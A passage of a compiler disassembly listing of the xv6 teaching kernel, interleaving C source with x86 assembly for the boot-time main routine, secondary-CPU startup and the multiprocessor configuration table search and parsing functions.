10 add $0x10,%esp } 80103858: 90 nop 80103859: c9 leave 8010385a: c3 ret 8010385b <v2p>: 8010385b: 55 push %ebp 8010385c: 89 e5 mov %esp,%ebp 8010385e: 8b 45 08 mov 0x8(%ebp),%eax 80103861: 05 00 00 00 80 add $0x80000000,%eax 80103866: 5d pop %ebp 80103867: c3 ret 80103868 <p2v>: static inline void *p2v(uint a) { return (void *) ((a) + KERNBASE); } 80103868: 55 push %ebp 80103869: 89 e5 mov %esp,%ebp 8010386b: 8b 45 08 mov 0x8(%ebp),%eax 8010386e: 05 00 00 00 80 add $0x80000000,%eax 80103873: 5d pop %ebp 80103874: c3 ret 80103875 <xchg>: asm volatile("hlt"); } static inline uint xchg(volatile uint *addr, uint newval) { 80103875: 55 push %ebp 80103876: 89 e5 mov %esp,%ebp 80103878: 83 ec 10 sub $0x10,%esp uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 8010387b: 8b 55 08 mov 0x8(%ebp),%edx 8010387e: 8b 45 0c mov 0xc(%ebp),%eax 80103881: 8b 4d 08 mov 0x8(%ebp),%ecx 80103884: f0 87 02 lock xchg %eax,(%edx) 80103887: 89 45 fc mov %eax,-0x4(%ebp) "+m" (*addr), "=a" (result) : "1" (newval) : "cc"); return result; 8010388a: 8b 45 fc mov -0x4(%ebp),%eax } 8010388d: c9 leave 8010388e: c3 ret 8010388f <main>: // Bootstrap processor starts running C code here. // Allocate a real stack and switch to it, first // doing some setup required for memory allocator to work. int main(void) { 8010388f: 8d 4c 24 04 lea 0x4(%esp),%ecx 80103893: 83 e4 f0 and $0xfffffff0,%esp 80103896: ff 71 fc pushl -0x4(%ecx) 80103899: 55 push %ebp 8010389a: 89 e5 mov %esp,%ebp 8010389c: 51 push %ecx 8010389d: 83 ec 04 sub $0x4,%esp kinit1(end, P2V(4*1024*1024)); // phys page allocator 801038a0: 83 ec 08 sub $0x8,%esp 801038a3: 68 00 00 40 80 push $0x80400000 801038a8: 68 1c 6c 11 80 push $0x80116c1c 801038ad: e8 7d f2 ff ff call 80102b2f <kinit1> 801038b2: 83 c4 10 add $0x10,%esp kvmalloc(); // kernel page table 801038b5: e8 ab 46 00 00 call 80107f65 <kvmalloc> mpinit(); // collect info about this machine 801038ba: e8 43 04 00 00 call 80103d02 <mpinit> lapicinit(); 801038bf: e8 ea f5 ff ff call 80102eae <lapicinit> seginit(); // set up segments 801038c4: e8 45 40 00 00 call 8010790e <seginit> cprintf("\ncpu%d: starting xv6\n\n", cpu->id); 801038c9: 65 a1 00 00 00 00 mov %gs:0x0,%eax 801038cf: 0f b6 00 movzbl (%eax),%eax 801038d2: 0f b6 c0 movzbl %al,%eax 801038d5: 83 ec 08 sub $0x8,%esp 801038d8: 50 push %eax 801038d9: 68 d8 8b 10 80 push $0x80108bd8 801038de: e8 e3 ca ff ff call 801003c6 <cprintf> 801038e3: 83 c4 10 add $0x10,%esp picinit(); // interrupt controller 801038e6: e8 6d 06 00 00 call 80103f58 <picinit> ioapicinit(); // another interrupt controller 801038eb: e8 34 f1 ff ff call 80102a24 <ioapicinit> consoleinit(); // I/O devices & their interrupts 801038f0: e8 24 d2 ff ff call 80100b19 <consoleinit> uartinit(); // serial port 801038f5: e8 70 33 00 00 call 80106c6a <uartinit> pinit(); // process table 801038fa: e8 5d 0b 00 00 call 8010445c <pinit> tvinit(); // trap vectors 801038ff: e8 30 2f 00 00 call 80106834 <tvinit> binit(); // buffer cache 80103904: e8 2b c7 ff ff call 80100034 <binit> fileinit(); // file table 80103909: e8 67 d6 ff ff call 80100f75 <fileinit> ideinit(); // disk 8010390e: e8 19 ed ff ff call 8010262c <ideinit> if(!ismp) 80103913: a1 24 3d 11 80 mov 0x80113d24,%eax 80103918: 85 c0 test %eax,%eax 8010391a: 75 05 jne 80103921 <main+0x92> timerinit(); // uniprocessor timer 8010391c: e8 70 2e 00 00 call 80106791 <timerinit> startothers(); // start other processors 80103921: e8 7f 00 00 00 call 801039a5 <startothers> kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers() 80103926: 83 ec 08 sub $0x8,%esp 80103929: 68 00 00 00 8e push $0x8e000000 8010392e: 68 00 00 40 80 push $0x80400000 80103933: e8 30 f2 ff ff call 80102b68 <kinit2> 80103938: 83 c4 10 add $0x10,%esp userinit(); // first user process 8010393b: e8 4a 0c 00 00 call 8010458a <userinit> // Finish setting up this processor in mpmain. mpmain(); 80103940: e8 1a 00 00 00 call 8010395f <mpmain> 80103945 <mpenter>: } // Other CPUs jump here from entryother.S. static void mpenter(void) { 80103945: 55 push %ebp 80103946: 89 e5 mov %esp,%ebp 80103948: 83 ec 08 sub $0x8,%esp switchkvm(); 8010394b: e8 2d 46 00 00 call 80107f7d <switchkvm> seginit(); 80103950: e8 b9 3f 00 00 call 8010790e <seginit> lapicinit(); 80103955: e8 54 f5 ff ff call 80102eae <lapicinit> mpmain(); 8010395a: e8 00 00 00 00 call 8010395f <mpmain> 8010395f <mpmain>: } // Common CPU setup code. static void mpmain(void) { 8010395f: 55 push %ebp 80103960: 89 e5 mov %esp,%ebp 80103962: 83 ec 08 sub $0x8,%esp cprintf("cpu%d: starting\n", cpu->id); 80103965: 65 a1 00 00 00 00 mov %gs:0x0,%eax 8010396b: 0f b6 00 movzbl (%eax),%eax 8010396e: 0f b6 c0 movzbl %al,%eax 80103971: 83 ec 08 sub $0x8,%esp 80103974: 50 push %eax 80103975: 68 ef 8b 10 80 push $0x80108bef 8010397a: e8 47 ca ff ff call 801003c6 <cprintf> 8010397f: 83 c4 10 add $0x10,%esp idtinit(); // load idt register 80103982: e8 23 30 00 00 call 801069aa <idtinit> xchg(&cpu->started, 1); // tell startothers() we're up 80103987: 65 a1 00 00 00 00 mov %gs:0x0,%eax 8010398d: 05 a8 00 00 00 add $0xa8,%eax 80103992: 83 ec 08 sub $0x8,%esp 80103995: 6a 01 push $0x1 80103997: 50 push %eax 80103998: e8 d8 fe ff ff call 80103875 <xchg> 8010399d: 83 c4 10 add $0x10,%esp scheduler(); // start running processes 801039a0: e8 90 11 00 00 call 80104b35 <scheduler> 801039a5 <startothers>: pde_t entrypgdir[]; // For entry.S // Start the non-boot (AP) processors. static void startothers(void) { 801039a5: 55 push %ebp 801039a6: 89 e5 mov %esp,%ebp 801039a8: 53 push %ebx 801039a9: 83 ec 14 sub $0x14,%esp char *stack; // Write entry code to unused memory at 0x7000. // The linker has placed the image of entryother.S in // _binary_entryother_start. code = p2v(0x7000); 801039ac: 68 00 70 00 00 push $0x7000 801039b1: e8 b2 fe ff ff call 80103868 <p2v> 801039b6: 83 c4 04 add $0x4,%esp 801039b9: 89 45 f0 mov %eax,-0x10(%ebp) memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); 801039bc: b8 8a 00 00 00 mov $0x8a,%eax 801039c1: 83 ec 04 sub $0x4,%esp 801039c4: 50 push %eax 801039c5: 68 18 c5 10 80 push $0x8010c518 801039ca: ff 75 f0 pushl -0x10(%ebp) 801039cd: e8 86 1a 00 00 call 80105458 <memmove> 801039d2: 83 c4 10 add $0x10,%esp for(c = cpus; c < cpus+ncpu; c++){ 801039d5: c7 45 f4 40 3d 11 80 movl $0x80113d40,-0xc(%ebp) 801039dc: e9 90 00 00 00 jmp 80103a71 <startothers+0xcc> if(c == cpus+cpunum()) // We've started already. 801039e1: e8 e6 f5 ff ff call 80102fcc <cpunum> 801039e6: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax 801039ec: 05 40 3d 11 80 add $0x80113d40,%eax 801039f1: 3b 45 f4 cmp -0xc(%ebp),%eax 801039f4: 74 73 je 80103a69 <startothers+0xc4> continue; // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); 801039f6: e8 6b f2 ff ff call 80102c66 <kalloc> 801039fb: 89 45 ec mov %eax,-0x14(%ebp) *(void**)(code-4) = stack + KSTACKSIZE; 801039fe: 8b 45 f0 mov -0x10(%ebp),%eax 80103a01: 83 e8 04 sub $0x4,%eax 80103a04: 8b 55 ec mov -0x14(%ebp),%edx 80103a07: 81 c2 00 10 00 00 add $0x1000,%edx 80103a0d: 89 10 mov %edx,(%eax) *(void**)(code-8) = mpenter; 80103a0f: 8b 45 f0 mov -0x10(%ebp),%eax 80103a12: 83 e8 08 sub $0x8,%eax 80103a15: c7 00 45 39 10 80 movl $0x80103945,(%eax) *(int**)(code-12) = (void *) v2p(entrypgdir); 80103a1b: 8b 45 f0 mov -0x10(%ebp),%eax 80103a1e: 8d 58 f4 lea -0xc(%eax),%ebx 80103a21: 83 ec 0c sub $0xc,%esp 80103a24: 68 00 b0 10 80 push $0x8010b000 80103a29: e8 2d fe ff ff call 8010385b <v2p> 80103a2e: 83 c4 10 add $0x10,%esp 80103a31: 89 03 mov %eax,(%ebx) lapicstartap(c->id, v2p(code)); 80103a33: 83 ec 0c sub $0xc,%esp 80103a36: ff 75 f0 pushl -0x10(%ebp) 80103a39: e8 1d fe ff ff call 8010385b <v2p> 80103a3e: 83 c4 10 add $0x10,%esp 80103a41: 89 c2 mov %eax,%edx 80103a43: 8b 45 f4 mov -0xc(%ebp),%eax 80103a46: 0f b6 00 movzbl (%eax),%eax 80103a49: 0f b6 c0 movzbl %al,%eax 80103a4c: 83 ec 08 sub $0x8,%esp 80103a4f: 52 push %edx 80103a50: 50 push %eax 80103a51: e8 f0 f5 ff ff call 80103046 <lapicstartap> 80103a56: 83 c4 10 add $0x10,%esp // wait for cpu to finish mpmain() while(c->started == 0) 80103a59: 90 nop 80103a5a: 8b 45 f4 mov -0xc(%ebp),%eax 80103a5d: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax 80103a63: 85 c0 test %eax,%eax 80103a65: 74 f3 je 80103a5a <startothers+0xb5> 80103a67: eb 01 jmp 80103a6a <startothers+0xc5> code = p2v(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); for(c = cpus; c < cpus+ncpu; c++){ if(c == cpus+cpunum()) // We've started already. continue; 80103a69: 90 nop // The linker has placed the image of entryother.S in // _binary_entryother_start. code = p2v(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); for(c = cpus; c < cpus+ncpu; c++){ 80103a6a: 81 45 f4 bc 00 00 00 addl $0xbc,-0xc(%ebp) 80103a71: a1 20 43 11 80 mov 0x80114320,%eax 80103a76: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax 80103a7c: 05 40 3d 11 80 add $0x80113d40,%eax 80103a81: 3b 45 f4 cmp -0xc(%ebp),%eax 80103a84: 0f 87 57 ff ff ff ja 801039e1 <startothers+0x3c> // wait for cpu to finish mpmain() while(c->started == 0) ; } } 80103a8a: 90 nop 80103a8b: 8b 5d fc mov -0x4(%ebp),%ebx 80103a8e: c9 leave 80103a8f: c3 ret 80103a90 <p2v>: 80103a90: 55 push %ebp 80103a91: 89 e5 mov %esp,%ebp 80103a93: 8b 45 08 mov 0x8(%ebp),%eax 80103a96: 05 00 00 00 80 add $0x80000000,%eax 80103a9b: 5d pop %ebp 80103a9c: c3 ret 80103a9d <inb>: // Routines to let C code use special x86 instructions. static inline uchar inb(ushort port) { 80103a9d: 55 push %ebp 80103a9e: 89 e5 mov %esp,%ebp 80103aa0: 83 ec 14 sub $0x14,%esp 80103aa3: 8b 45 08 mov 0x8(%ebp),%eax 80103aa6: 66 89 45 ec mov %ax,-0x14(%ebp) uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80103aaa: 0f b7 45 ec movzwl -0x14(%ebp),%eax 80103aae: 89 c2 mov %eax,%edx 80103ab0: ec in (%dx),%al 80103ab1: 88 45 ff mov %al,-0x1(%ebp) return data; 80103ab4: 0f b6 45 ff movzbl -0x1(%ebp),%eax } 80103ab8: c9 leave 80103ab9: c3 ret 80103aba <outb>: "memory", "cc"); } static inline void outb(ushort port, uchar data) { 80103aba: 55 push %ebp 80103abb: 89 e5 mov %esp,%ebp 80103abd: 83 ec 08 sub $0x8,%esp 80103ac0: 8b 55 08 mov 0x8(%ebp),%edx 80103ac3: 8b 45 0c mov 0xc(%ebp),%eax 80103ac6: 66 89 55 fc mov %dx,-0x4(%ebp) 80103aca: 88 45 f8 mov %al,-0x8(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80103acd: 0f b6 45 f8 movzbl -0x8(%ebp),%eax 80103ad1: 0f b7 55 fc movzwl -0x4(%ebp),%edx 80103ad5: ee out %al,(%dx) } 80103ad6: 90 nop 80103ad7: c9 leave 80103ad8: c3 ret 80103ad9 <mpbcpu>: int ncpu; uchar ioapicid; int mpbcpu(void) { 80103ad9: 55 push %ebp 80103ada: 89 e5 mov %esp,%ebp return bcpu-cpus; 80103adc: a1 64 c6 10 80 mov 0x8010c664,%eax 80103ae1: 89 c2 mov %eax,%edx 80103ae3: b8 40 3d 11 80 mov $0x80113d40,%eax 80103ae8: 29 c2 sub %eax,%edx 80103aea: 89 d0 mov %edx,%eax 80103aec: c1 f8 02 sar $0x2,%eax 80103aef: 69 c0 cf 46 7d 67 imul $0x677d46cf,%eax,%eax } 80103af5: 5d pop %ebp 80103af6: c3 ret 80103af7 <sum>: static uchar sum(uchar *addr, int len) { 80103af7: 55 push %ebp 80103af8: 89 e5 mov %esp,%ebp 80103afa: 83 ec 10 sub $0x10,%esp int i, sum; sum = 0; 80103afd: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%ebp) for(i=0; i<len; i++) 80103b04: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 80103b0b: eb 15 jmp 80103b22 <sum+0x2b> sum += addr[i]; 80103b0d: 8b 55 fc mov -0x4(%ebp),%edx 80103b10: 8b 45 08 mov 0x8(%ebp),%eax 80103b13: 01 d0 add %edx,%eax 80103b15: 0f b6 00 movzbl (%eax),%eax 80103b18: 0f b6 c0 movzbl %al,%eax 80103b1b: 01 45 f8 add %eax,-0x8(%ebp) sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 80103b1e: 83 45 fc 01 addl $0x1,-0x4(%ebp) 80103b22: 8b 45 fc mov -0x4(%ebp),%eax 80103b25: 3b 45 0c cmp 0xc(%ebp),%eax 80103b28: 7c e3 jl 80103b0d <sum+0x16> sum += addr[i]; return sum; 80103b2a: 8b 45 f8 mov -0x8(%ebp),%eax } 80103b2d: c9 leave 80103b2e: c3 ret 80103b2f <mpsearch1>: // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80103b2f: 55 push %ebp 80103b30: 89 e5 mov %esp,%ebp 80103b32: 83 ec 18 sub $0x18,%esp uchar *e, *p, *addr; addr = p2v(a); 80103b35: ff 75 08 pushl 0x8(%ebp) 80103b38: e8 53 ff ff ff call 80103a90 <p2v> 80103b3d: 83 c4 04 add $0x4,%esp 80103b40: 89 45 f0 mov %eax,-0x10(%ebp) e = addr+len; 80103b43: 8b 55 0c mov 0xc(%ebp),%edx 80103b46: 8b 45 f0 mov -0x10(%ebp),%eax 80103b49: 01 d0 add %edx,%eax 80103b4b: 89 45 ec mov %eax,-0x14(%ebp) for(p = addr; p < e; p += sizeof(struct mp)) 80103b4e: 8b 45 f0 mov -0x10(%ebp),%eax 80103b51: 89 45 f4 mov %eax,-0xc(%ebp) 80103b54: eb 36 jmp 80103b8c <mpsearch1+0x5d> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80103b56: 83 ec 04 sub $0x4,%esp 80103b59: 6a 04 push $0x4 80103b5b: 68 00 8c 10 80 push $0x80108c00 80103b60: ff 75 f4 pushl -0xc(%ebp) 80103b63: e8 98 18 00 00 call 80105400 <memcmp> 80103b68: 83 c4 10 add $0x10,%esp 80103b6b: 85 c0 test %eax,%eax 80103b6d: 75 19 jne 80103b88 <mpsearch1+0x59> 80103b6f: 83 ec 08 sub $0x8,%esp 80103b72: 6a 10 push $0x10 80103b74: ff 75 f4 pushl -0xc(%ebp) 80103b77: e8 7b ff ff ff call 80103af7 <sum> 80103b7c: 83 c4 10 add $0x10,%esp 80103b7f: 84 c0 test %al,%al 80103b81: 75 05 jne 80103b88 <mpsearch1+0x59> return (struct mp*)p; 80103b83: 8b 45 f4 mov -0xc(%ebp),%eax 80103b86: eb 11 jmp 80103b99 <mpsearch1+0x6a> { uchar *e, *p, *addr; addr = p2v(a); e = addr+len; for(p = addr; p < e; p += sizeof(struct mp)) 80103b88: 83 45 f4 10 addl $0x10,-0xc(%ebp) 80103b8c: 8b 45 f4 mov -0xc(%ebp),%eax 80103b8f: 3b 45 ec cmp -0x14(%ebp),%eax 80103b92: 72 c2 jb 80103b56 <mpsearch1+0x27> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) return (struct mp*)p; return 0; 80103b94: b8 00 00 00 00 mov $0x0,%eax } 80103b99: c9 leave 80103b9a: c3 ret 80103b9b <mpsearch>: // 1) in the first KB of the EBDA; // 2) in the last KB of system base memory; // 3) in the BIOS ROM between 0xE0000 and 0xFFFFF. static struct mp* mpsearch(void) { 80103b9b: 55 push %ebp 80103b9c: 89 e5 mov %esp,%ebp 80103b9e: 83 ec 18 sub $0x18,%esp uchar *bda; uint p; struct mp *mp; bda = (uchar *) P2V(0x400); 80103ba1: c7 45 f4 00 04 00 80 movl $0x80000400,-0xc(%ebp) if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ 80103ba8: 8b 45 f4 mov -0xc(%ebp),%eax 80103bab: 83 c0 0f add $0xf,%eax 80103bae: 0f b6 00 movzbl (%eax),%eax 80103bb1: 0f b6 c0 movzbl %al,%eax 80103bb4: c1 e0 08 shl $0x8,%eax 80103bb7: 89 c2 mov %eax,%edx 80103bb9: 8b 45 f4 mov -0xc(%ebp),%eax 80103bbc: 83 c0 0e add $0xe,%eax 80103bbf: 0f b6 00 movzbl (%eax),%eax 80103bc2: 0f b6 c0 movzbl %al,%eax 80103bc5: 09 d0 or %edx,%eax 80103bc7: c1 e0 04 shl $0x4,%eax 80103bca: 89 45 f0 mov %eax,-0x10(%ebp) 80103bcd: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80103bd1: 74 21 je 80103bf4 <mpsearch+0x59> if((mp = mpsearch1(p, 1024))) 80103bd3: 83 ec 08 sub $0x8,%esp 80103bd6: 68 00 04 00 00 push $0x400 80103bdb: ff 75 f0 pushl -0x10(%ebp) 80103bde: e8 4c ff ff ff call 80103b2f <mpsearch1> 80103be3: 83 c4 10 add $0x10,%esp 80103be6: 89 45 ec mov %eax,-0x14(%ebp) 80103be9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 80103bed: 74 51 je 80103c40 <mpsearch+0xa5> return mp; 80103bef: 8b 45 ec mov -0x14(%ebp),%eax 80103bf2: eb 61 jmp 80103c55 <mpsearch+0xba> } else { p = ((bda[0x14]<<8)|bda[0x13])*1024; 80103bf4: 8b 45 f4 mov -0xc(%ebp),%eax 80103bf7: 83 c0 14 add $0x14,%eax 80103bfa: 0f b6 00 movzbl (%eax),%eax 80103bfd: 0f b6 c0 movzbl %al,%eax 80103c00: c1 e0 08 shl $0x8,%eax 80103c03: 89 c2 mov %eax,%edx 80103c05: 8b 45 f4 mov -0xc(%ebp),%eax 80103c08: 83 c0 13 add $0x13,%eax 80103c0b: 0f b6 00 movzbl (%eax),%eax 80103c0e: 0f b6 c0 movzbl %al,%eax 80103c11: 09 d0 or %edx,%eax 80103c13: c1 e0 0a shl $0xa,%eax 80103c16: 89 45 f0 mov %eax,-0x10(%ebp) if((mp = mpsearch1(p-1024, 1024))) 80103c19: 8b 45 f0 mov -0x10(%ebp),%eax 80103c1c: 2d 00 04 00 00 sub $0x400,%eax 80103c21: 83 ec 08 sub $0x8,%esp 80103c24: 68 00 04 00 00 push $0x400 80103c29: 50 push %eax 80103c2a: e8 00 ff ff ff call 80103b2f <mpsearch1> 80103c2f: 83 c4 10 add $0x10,%esp 80103c32: 89 45 ec mov %eax,-0x14(%ebp) 80103c35: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 80103c39: 74 05 je 80103c40 <mpsearch+0xa5> return mp; 80103c3b: 8b 45 ec mov -0x14(%ebp),%eax 80103c3e: eb 15 jmp 80103c55 <mpsearch+0xba> } return mpsearch1(0xF0000, 0x10000); 80103c40: 83 ec 08 sub $0x8,%esp 80103c43: 68 00 00 01 00 push $0x10000 80103c48: 68 00 00 0f 00 push $0xf0000 80103c4d: e8 dd fe ff ff call 80103b2f <mpsearch1> 80103c52: 83 c4 10 add $0x10,%esp } 80103c55: c9 leave 80103c56: c3 ret 80103c57 <mpconfig>: // Check for correct signature, calculate the checksum and, // if correct, check the version. // To do: check extended table checksum. static struct mpconf* mpconfig(struct mp **pmp) { 80103c57: 55 push %ebp 80103c58: 89 e5 mov %esp,%ebp 80103c5a: 83 ec 18 sub $0x18,%esp struct mpconf *conf; struct mp *mp; if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103c5d: e8 39 ff ff ff call 80103b9b <mpsearch> 80103c62: 89 45 f4 mov %eax,-0xc(%ebp) 80103c65: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80103c69: 74 0a je 80103c75 <mpconfig+0x1e> 80103c6b: 8b 45 f4 mov -0xc(%ebp),%eax 80103c6e: 8b 40 04 mov 0x4(%eax),%eax 80103c71: 85 c0 test %eax,%eax 80103c73: 75 0a jne 80103c7f <mpconfig+0x28> return 0; 80103c75: b8 00 00 00 00 mov $0x0,%eax 80103c7a: e9 81 00 00 00 jmp 80103d00 <mpconfig+0xa9> conf = (struct mpconf*) p2v((uint) mp->physaddr); 80103c7f: 8b 45 f4 mov -0xc(%ebp),%eax 80103c82: 8b 40 04 mov 0x4(%eax),%eax 80103c85: 83 ec 0c sub $0xc,%esp 80103c88: 50 push %eax 80103c89: e8 02 fe ff ff call 80103a90 <p2v> 80103c8e: 83 c4 10 add $0x10,%esp 80103c91: 89 45 f0 mov %eax,-0x10(%ebp) if(memcmp(conf, "PCMP", 4) != 0) 80103c94: 83 ec 04 sub $0x4,%esp 80103c97: 6a 04 push $0x4 80103c99: 68 05 8c 10 80 push $0x80108c05 80103c9e: ff 75 f0 pushl -0x10(%ebp) 80103ca1: e8 5a 17 00 00 call 80105400 <memcmp> 80103ca6: 83 c4 10 add $0x10,%esp 80103ca9: 85 c0 test %eax,%eax 80103cab: 74 07 je 80103cb4 <mpconfig+0x5d> return 0; 80103cad: b8 00 00 00 00 mov $0x0,%eax 80103cb2: eb 4c jmp 80103d00 <mpconfig+0xa9> if(conf->version != 1 && conf->version != 4) 80103cb4: 8b 45 f0 mov -0x10(%ebp),%eax 80103cb7: 0f b6 40 06 movzbl 0x6(%eax),%eax 80103cbb: 3c 01 cmp $0x1,%al 80103cbd: 74 12 je 80103cd1 <mpconfig+0x7a> 80103cbf: 8b 45 f0 mov -0x10(%ebp),%eax 80103cc2: 0f b6 40 06 movzbl 0x6(%eax),%eax 80103cc6: 3c 04 cmp $0x4,%al 80103cc8: 74 07 je 80103cd1 <mpconfig+0x7a> return 0; 80103cca: b8 00 00 00 00 mov $0x0,%eax 80103ccf: eb 2f jmp 80103d00 <mpconfig+0xa9> if(sum((uchar*)conf, conf->length) != 0) 80103cd1: 8b 45 f0 mov -0x10(%ebp),%eax 80103cd4: 0f b7 40 04 movzwl 0x4(%eax),%eax 80103cd8: 0f b7 c0 movzwl %ax,%eax 80103cdb: 83 ec 08 sub $0x8,%esp 80103cde: 50 push %eax 80103cdf: ff 75 f0 pushl -0x10(%ebp) 80103ce2: e8 10 fe ff ff call 80103af7 <sum> 80103ce7: 83 c4 10 add $0x10,%esp 80103cea: 84 c0 test %al,%al 80103cec: 74 07 je 80103cf5 <mpconfig+0x9e> return 0; 80103cee: b8 00 00 00 00 mov $0x0,%eax 80103cf3: eb 0b jmp 80103d00 <mpconfig+0xa9> *pmp = mp; 80103cf5: 8b 45 08 mov 0x8(%ebp),%eax 80103cf8: 8b 55 f4 mov -0xc(%ebp),%edx 80103cfb: 89 10 mov %edx,(%eax) return conf; 80103cfd: 8b 45 f0 mov -0x10(%ebp),%eax } 80103d00: c9 leave 80103d01: c3 ret 80103d02 <mpinit>: void mpinit(void) { 80103d02: 55 push %ebp 80103d03: 89 e5 mov %esp,%ebp 80103d05: 83 ec 28 sub $0x28,%esp struct mp *mp; struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; bcpu = &cpus[0]; 80103d08: c7 05 64 c6 10 80 40 movl $0x80113d40,0x8010c664 80103d0f: 3d 11 80 if((conf = mpconfig(&mp)) == 0) 80103d12: 83 ec 0c sub $0xc,%esp 80103d15: 8d 45 e0 lea -0x20(%ebp),%eax 80103d18: 50 push %eax 80103d19: e8 39 ff ff ff call 80103c57 <mpconfig> 80103d1e: 83 c4 10 add $0x10,%esp 80103d21: 89 45 f0 mov %eax,-0x10(%ebp) 80103d24: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80103d28: 0f 84 96 01 00 00 je 80103ec4 <mpinit+0x1c2> return; ismp = 1; 80103d2e: c7 05 24 3d 11 80 01 movl $0x1,0x80113d24 80103d35: 00 00 00 lapic = (uint*)conf->lapicaddr; 80103d38: 8b 45 f0 mov -0x10(%ebp),%eax 80103d3b: 8b 40 24 mov 0x24(%eax),%eax 80103d3e: a3 3c 3c 11 80 mov %eax,0x80113c3c for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 80103d43: 8b 45 f0 mov -0x10(%ebp),%eax 80103d46: 83 c0 2c add $0x2c,%eax 80103d49: 89 45 f4 mov %eax,-0xc(%ebp) 80103d4c: 8b 45 f0 mov -0x10(%ebp),%eax 80103d4f: 0f b7 40 04 movzwl 0x4(%eax),%eax 80103d53: 0f b7 d0 movzwl %ax,%edx 80103d56: 8b 45 f0 mov -0x10(%ebp),%eax 80103d59: 01 d0 add %edx,%eax 80103d5b: 89 45 ec mov %eax,-0x14(%ebp) 80103d5e: e9 f2 00 00 00 jmp 80103e55 <mpinit+0x153> switch(*p){ 80103d63: 8b 45 f4 mov -0xc(%ebp),%eax 80103d66: 0f b6 00 movzbl (%eax),%eax 80103d69: 0f b6 c0 movzbl %al,%eax 80103d6c: 83 f8 04 cmp $0x4,%eax 80103d6f: 0f 87 bc 00 00 00 ja 80103e31 <mpinit+0x12f> 80103d75: 8b 04 85 48 8c 10 80 mov -0x7fef73b8(,%eax,4),%eax 80103d7c: ff e0 jmp *%eax case MPPROC: proc = (struct mpproc*)p; 80103d7e: 8b 45 f4 mov -0xc(%ebp),%eax 80103d81: 89 45 e8 mov %eax,-0x18(%ebp) if(ncpu != proc->apicid){ 80103d84: 8b 45 e8 mov -0x18(%ebp),%eax 80103d87: 0f b6 40 01 movzbl 0x1(%eax),%eax 80103d8b: 0f b6 d0 movzbl %al,%edx 80103d8e: a1 20 43 11 80 mov 0x80114320,%eax 80103d93: 39 c2 cmp %eax,%edx 80103d95: 74 2b je 80103dc2 <mpinit+0xc0> cprintf("mpinit: ncpu=%d apicid=%d\n", ncpu, proc->apicid); 80103d97: 8b 45 e8 mov -0x18(%ebp),%eax 80103d9a: 0f b6 40 01 movzbl 0x1(%eax),%eax 80103d9e: 0f b6 d0 movzbl %al,%edx 80103da1: a1 20 43 11 80 mov 0x80114320,%eax 80103da6: 83 ec 04 sub $0x4,%esp 80103da9: 52 push %edx 80103daa: 50 push %eax 80103dab: 68 0a 8c 10 80 push $0x80108c0a 80103db0: e8 11 c6 ff ff call 801003c6 <cprintf> 80103db5: 83 c4 10 add $0x10,%esp ismp = 0; 80103db8: c7 05 24 3d 11 80 00 movl $0x0,0x80113d24 80103dbf: 00 00 00 } if(proc->flags & MPBOOT) 80103dc2: 8b 45 e8 mov -0x18(%ebp),%eax 80103dc5: 0f b6 40 03 movzbl 0x3(%eax),%eax 80103dc9: 0f b6 c0 movzbl %al,%eax 80103dcc: 83 e0 02 and $0x2,%eax 80103dcf: 85 c0 test %eax,%eax 80103dd1: 74 15 je 80103de8 <mpinit+0xe6> bcpu = &cpus[ncpu]; 80103dd3: a1 20 43 11 80 mov 0x80114320,%eax 80103dd8: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax 80103dde: 05 40 3d 11 80 add $0x80113d40,%eax 80103de3: a3 64 c6 10 80 mov %eax,0x8010c664 cpus[ncpu].id = ncpu; 80103de8: a1 20 43 11 80 mov 0x80114320,%eax 80103ded: 8b 15 20 43 11 80 mov 0x80114320,%edx 80103df3: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax 80103df9: 05 40 3d 11 80 add $0x80113d40,%eax 80103dfe: 88 10 mov %dl,(%eax) ncpu++; 80103e00: a1 20 43 11 80 mov 0x80114320,%eax 80103e05: 83 c0 01 add $0x1,%eax 80103e08: a3 20 43 11 80 mov %eax,0x80114320 p += sizeof(struct mpproc); 80103e0d: 83 45 f4 14 addl $0x14,-0xc(%ebp) continue; 80103e11: eb 42 jmp 80103e55 <mpinit+0x153> case MPIOAPIC: ioapic = (struct mpioapic*)p; 80103e13: 8b 45 f4 mov -0xc(%ebp),%eax 80103e16: 89 45 e4 mov %eax,-0x1c(%ebp) ioapicid = ioapic->apicno; 80103e19: 8b 45 e4 mov -0x1c(%ebp),%eax 80103e1c: 0f b6 40 01 movzbl 0x1(%eax),%eax 80103e20: a2 20 3d 11 80 mov %al,0x80113d20 p += sizeof(struct mpioapic); 80103e25: 83 45 f4 08 addl $0x8,-0xc(%ebp) continue; 80103e29: eb 2a jmp 80103e55 <mpinit+0x153> case MPBUS: case MPIOINTR: case MPLINTR: p += 8; 80103e2b: 83 45 f4 08 addl $0x8,-0xc(%ebp) continue; 80103e2f: eb 24 jmp 